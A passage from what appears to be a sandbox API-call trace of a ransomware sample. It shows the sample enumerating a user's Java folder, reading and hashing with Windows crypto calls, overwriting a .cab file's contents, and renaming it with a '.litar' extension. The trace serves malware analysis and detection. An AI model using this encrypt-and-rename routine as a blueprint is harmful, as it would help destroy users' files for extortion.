0x6bd458 [0127.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x3007478 [0127.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020b38 [0127.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3083f40 [0127.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3084008 [0127.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0127.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30072c8 | out: hHeap=0x5c0000) returned 1 [0127.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020d90 | out: hHeap=0x5c0000) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020e58 | out: hHeap=0x5c0000) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020cc8 | out: hHeap=0x5c0000) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd1b8 | out: hHeap=0x5c0000) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0127.486] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075530 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075498 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075530 | out: hHeap=0x5c0000) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.486] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0 [0127.486] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075238 | out: hHeap=0x5c0000) returned 1 [0127.486] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075238 [0127.486] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="jre1.7.0_45\\" [0127.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0127.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0127.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.490] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.490] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.490] PathFindFileNameW (pszPath="") returned="" [0127.490] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.490] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.490] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0127.490] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0127.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.492] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=25340970) returned 1 [0127.492] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.494] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.494] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.496] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x25805, lpOverlapped=0x0) returned 1 [0127.498] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.498] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.498] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.498] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.499] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.499] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.499] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.499] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.499] GetLastError () returned 0x0 [0127.499] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.499] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.499] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.499] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25810) returned 0x30fa0b0 [0127.500] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.500] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x25800, lpOverlapped=0x0) returned 1 [0127.500] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.500] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.500] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.501] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.501] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.501] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.501] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.501] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.501] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.501] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.501] CloseHandle (hObject=0x624) returned 1 [0127.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0127.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0127.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0127.850] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.litar")) returned 1 [0127.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.850] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.851] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1 [0127.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0127.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.852] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0127.852] CreateFileW 